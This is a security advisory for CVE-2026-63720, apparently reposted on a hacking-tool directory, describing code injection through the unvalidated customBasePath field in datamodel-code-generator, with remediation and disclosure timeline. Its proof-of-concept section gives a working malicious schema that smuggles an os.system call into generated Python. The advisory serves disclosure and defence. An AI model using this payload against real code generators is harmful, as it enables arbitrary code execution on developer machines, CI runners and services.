Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-63720-datamodel-code-generator — Code injection (RCE) in datamodel-code-generator via unvalidated customBasePath (CVE-2026-63720) | Kitploit
Tools/GitHubGitHub/rahulreddykarne/cve-2026-63720-datamodel-code-generator
Vulnerability AnalysisExploitationSupply Chain SecurityLearning & EducationPayload Development
GitHubrahulreddykarne/cve-2026-63720-datamodel-code-generator

CVE-2026-63720-datamodel-code-generator

Code injection (RCE) in datamodel-code-generator via unvalidated customBasePath (CVE-2026-63720)

View Repository
41 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-63720: Code Injection in datamodel-code-generator via Unvalidated customBasePath

Severity: High, CVSS 3.1 7.5 / CVSS 4.0 7.5 (assigned by VulnCheck, the CNA)

Environmental ceiling (network-service deployment): up to 9.8

Vector (v4.0): CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Vector (v3.1): CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Affected: datamodel-code-generator < 0.70.0

Fixed in: 0.70.0

CWE: CWE-94 (Improper Control of Generation of Code, 'Code Injection')

Reported by: Rahul Karne

CNA: VulnCheck

Published: July 26, 2026


Summary

datamodel-code-generator validated every schema-controlled import string that could carry a code-injection payload, except one.

The tool converts an input schema (JSON Schema, OpenAPI, YAML) into Python model source. Several schema fields are rendered directly into that generated code, so the project validates them as dotted Python identifiers before use, specifically to prevent injection. The schema extension field customBasePath is the one sibling that skips this check. Its value flows unsanitized into a from ... import ... statement in the generated output. An attacker who controls the input schema can embed arbitrary Python using newlines and a dot-free expression, and it executes the moment the generated module is imported, which is the ordinary next step after generating models.

This is an incomplete fix of CVE-2026-55415 (GHSA-5578-w22f-pfx9), which hardened the sibling fields customTypePath and x-python-import against this exact class. That fix did not cover customBasePath, which reaches the identical sink unvalidated and remained exploitable through 0.68.1 and main until 0.70.0.

Impact

Arbitrary Python code execution in the process that imports or runs the generated models: the developer's machine, a CI runner, or any service that generates and then loads models. Confidentiality, integrity, and availability of the host are fully compromised, bounded only by the privileges of that process.

The severity depends entirely on where codegen runs on untrusted input:

  • Local developer workflow. A developer generates models from a schema they did not author (a fetched or third-party OpenAPI document) and imports the result. Code runs as the developer. This is the assigned-base case.
  • CI / build pipeline. A pipeline generates models from third-party specs and runs tests. Code runs on the CI runner with whatever credentials it holds.
  • Network service (environmental ceiling, up to 9.8). A service that accepts a schema over HTTP, generates models, and loads them, for example a B2B platform that auto-generates SDKs from customer-supplied OpenAPI specs, runs the attacker's code on the server from a single unauthenticated request with no user interaction. This is the deployment the maintainer's own sibling advisory (GHSA-m34r) names as in scope.

Who is affected: Any use of datamodel-code-generator < 0.70.0 that (1) generates models from a schema whose customBasePath value is attacker influenced, and (2) imports or executes the generated module. The default codegen-then-import workflow satisfies (2) inherently.

Who is not affected:

  • Anyone on 0.70.0 or later, where customBasePath is validated.
  • Workflows that only ever generate models from fully trusted, first-party schemas.
  • Workflows that generate source but never import or execute it (rare, since generating models to use them is the point of the tool).

Reach

MetricValueSource
Downloads, all-time194 Millionpepy.tech/projects/datamodel-code-generator
Downloads, last 30 days16.3 Millionpepy.tech
Typical deploymentDeveloper machines, CI/CD pipelines, and SDK-generation platforms that codegen from OpenAPI / JSON Schemainherent to the tool's function

Technical detail

Root cause

The value of the customBasePath schema field is carried into generated code with no identifier constraint. Three points in the codebase matter (paths relative to src/datamodel_code_generator/):

  • Schema entry point. parser/jsonschema.py defines the field custom_base_path with alias="customBasePath" (~line 644), consumed via _resolve_base_class(...) at several call sites.
  • Missing validation. parser/base.py, _resolve_base_class (~line 1665), returns the value after only a local normalize() (dedup/strip). No identifier validation is applied.
  • Sink. imports.py, Import.from_full_path() (~line 35), emits the value verbatim as a from ... import ... line. The value is also used as the class base in model/base.py set_base_class (~line 1324) and rendered raw by the model template (class {{ class_name }}({{ base_class }}):).

Because the value is written into Python source with no constraint, embedded newlines and a dot-free expression survive into the output as their own individually parseable lines, and the middle line executes on import.

The payload is dot-free by necessity. Import.from_full_path splits the value on ., so a normal os.system(...) call would be broken apart. Using getattr(__import__('os'),'system')(...) avoids any . while still resolving the same call, and the surrounding newlines keep the emitted from ... import ... lines syntactically valid so the injected middle line runs cleanly.

Why this survived a hardened codebase

This is not a project that neglected injection. The maintainer hardened this exact class repeatedly across multiple advisories (GHSA-5578, m34r, 8m8r, wjv6), each time routing a schema-controlled import or type string through _validate_dotted_python_identifier_path before it reaches code generation. The sibling fields customTypePath (validated at parser/jsonschema.py ~lines 4956, 5202) and x-python-import (~line 2096) both go through that validator.

customBasePath is the one sibling with no such call. It reaches the same Import.from_full_path sink by a different path (_resolve_base_class) that was never wired into the validation the other fields received. The defect survived precisely because the surrounding defense looked complete: a reviewer scanning for unvalidated import strings sees validators on the fields they check first, and this one routes through a helper that looks like base-class resolution rather than import handling. It is a gap in a systematic fix, not an absent one, which is why it persisted into the latest release.

Exploitation preconditions

An attacker needs:

  1. A target using datamodel-code-generator < 0.70.0.
  2. Control over the customBasePath value in a schema the target will process, in practice by supplying or influencing the input schema (a third-party OpenAPI/JSON Schema document, or a schema submitted to a service).
  3. The target to import or run the generated module, which is the normal codegen-then-use workflow.

No authentication or elevated privileges are required of the attacker (PR:N). The base score reflects that the victim performs the ordinary generate-and-import action (UI:R in v3.1 / UI:A in v4.0); the network-service deployment removes even that, which is where the environmental 9.8 comes from.

Proof of concept

The following was run against the real, unmodified package. Reproduction:

root@kitploit:~
pip install "datamodel-code-generator==0.68.1"
datamodel-codegen --input attack.json --input-file-type jsonschema --output generated_models.py
python -c "import generated_models"

Attacker input (attack.json):

root@kitploit:~
{
  "type": "object",
  "title": "User",
  "customBasePath": "builtins import object\ngetattr(__import__('os'),'system')('whoami > RCE_PROOF.txt')\nfrom builtins.object",
  "properties": { "name": { "type": "string" } }
}

Generated generated_models.py on the vulnerable version (0.68.1):

root@kitploit:~
from __future__ import annotations

from builtins import object

getattr(__import__('os'), 'system')(
    'whoami > RCE_PROOF.txt'
)
from builtins import object


class User(object):
    name: str | None = None

The attacker's call is emitted verbatim into the generated source.

On import: the command executes. In the verified run, the injected marker printed to stdout and RCE_PROOF.txt was created containing the current user (root), confirming arbitrary command execution through the ordinary generate-and-import workflow.

On the patched version (0.70.0): the same schema is rejected before any code is generated:

root@kitploit:~
Error at schema path 'attack.json': Error: customBasePath must be a dotted
Python identifier path: "builtins import object\ngetattr(__import__('os'),
'system')('whoami > RCE_PROOF.txt')\nfrom builtins.object"

No file is produced. The rejection message names the fix directly: the value is now required to be a dotted Python identifier path.

Network-service variant. An unauthenticated loopback HTTP service that accepts a POSTed schema, generates models, and imports them was demonstrated executing the attacker's command on the server from a single unauthenticated curl, with no user interaction. This is the deployment shape behind the environmental 9.8. The service and attack files are included in the PoC repository.

Watch the demo

Remediation

Upgrade to datamodel-code-generator 0.70.0 or later:

root@kitploit:~
pip install --upgrade "datamodel-code-generator>=0.70.0"

0.70.0 routes customBasePath through the same dotted-identifier validation already applied to customTypePath and x-python-import, so a value that is not a valid identifier path is rejected before code generation.

If you cannot upgrade immediately: do not generate models from schemas you do not fully control, and do not import or execute modules generated from untrusted schemas. There is no configuration flag that adds the missing validation in affected versions; upgrading is the reliable fix.

Note for anyone reusing the generator's internals. The defect was a missing validation call on one code path into Import.from_full_path, not a flaw in the sink itself. Any downstream project that renders schema-controlled strings into generated code should validate every such field as a dotted identifier, not only the ones that pass through the obvious import-handling path.

On the CVSS score

VulnCheck (the CNA) assigned 7.5 (High), matching the base vector the maintainer used for the parent advisory CVE-2026-55415, because this is the same injection class, the same Import.from_full_path sink, and the same impact.

  • AV:N: schemas are commonly obtained over the network (fetched or third-party OpenAPI / JSON Schema documents).
  • AC:H: exploitation depends on the victim generating models from the malicious schema and then importing or running the generated code.
  • PR:N / UI:R (v3.1): no attacker privileges; the victim performs the ordinary codegen-and-import workflow.
  • C:H / I:H / A:H: full arbitrary code execution on the host.

The environmental ceiling is 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) and applies specifically to the network-service deployment, where the generator is exposed to untrusted schemas and no victim interaction is required. That figure is an environmental note for that deployment, not the assigned base score. Stating both, and being explicit about which is which, is the honest framing: the base is 7.5, and it reaches 9.8 only in the exposed-service case.

Disclosure timeline

DateEvent
July 13, 2026Vulnerability identified
July 14, 2026Reported (coordinated disclosure)
July 21, 2026Fix committed (545a96c5)
July 24, 2026Patched version 0.70.0 released
July 26, 2026CVE-2026-63720 published by VulnCheck

Credit

Discovered and reported by Rahul Karne, security researcher and IEEE Senior Member. His research focuses on injection and input-handling flaws in high-dependency open-source packages, including CVE-2026-65321 (SQL injection in PyAthena) and the parent-class hardening around this finding.

Contact: [email protected] · GitHub: rahulreddykarne

References

  • NVD (CVE-2026-63720): https://nvd.nist.gov/vuln/detail/CVE-2026-63720
  • CVE Record: https://www.cve.org/CVERecord?id=CVE-2026-63720
  • VulnCheck advisory: https://www.vulncheck.com/advisories/datamodel-code-generator-code-injection-via-unvalidated-custombasepath-schema-field
  • Patch commit 545a96c5: https://github.com/koxudaxi/datamodel-code-generator/commit/545a96c5
  • Parent advisory (incomplete fix): CVE-2026-55415 / GHSA-5578-w22f-pfx9
  • Project repository: https://github.com/koxudaxi/datamodel-code-generator
  • Download statistics: https://pepy.tech/projects/datamodel-code-generator

Press

Media inquiries: [email protected]. Full PoC (attacker schema, network-service demo) and additional technical detail available on request.

Download Tool